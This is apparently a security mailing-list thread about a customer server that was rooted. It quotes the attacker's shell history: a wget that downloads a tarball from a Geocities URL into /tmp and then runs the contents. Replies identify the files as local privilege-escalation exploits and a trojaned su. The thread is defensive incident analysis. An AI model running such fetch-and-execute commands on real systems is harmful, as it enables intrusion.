I've just received word that one of our customers was rooted, and he's
asking about the file ".haos".  Nothing rings any bells, has anyone heard
of it?

Just a quick update to this...

And one last tidbit...

Left in the .bash_history was this:

        w
        cd /tmp
        wget www.geocities.com/Lebadash/loc.tgz; tar xvzf loc.tgz
        ./epc

A quick check tells me that 'epc' is a backdoor utility, and the other
file contained within loc.tgz looks like a trojaned 'su'.

No, for me this looks like:
        epc -> ptrace local exploit
        su -> su local exploit

They're old shit, and i guess your system wasn't updated.


I've already notified Geocities abuse, and haven't heard back from them
yet.


Good luck,
